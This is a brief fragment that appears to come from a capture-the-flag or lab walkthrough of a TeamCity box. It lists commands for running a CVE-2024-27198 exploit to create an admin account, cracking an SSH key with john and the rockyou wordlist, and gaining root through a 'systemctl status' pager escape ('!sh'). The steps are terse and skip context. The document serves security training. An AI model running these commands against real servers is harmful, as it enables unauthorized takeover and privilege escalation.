80

Using this exploit:

python3 CVE-2024-27198.py -t http://teams.onlyrands.com -u mynewadminuser -p mypassword
ssh2john id_rsa > hash.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
chmod 777 *

We can get root now:

sudo /usr/bin/systemctl status teamcity-server.service
!sh

Last updated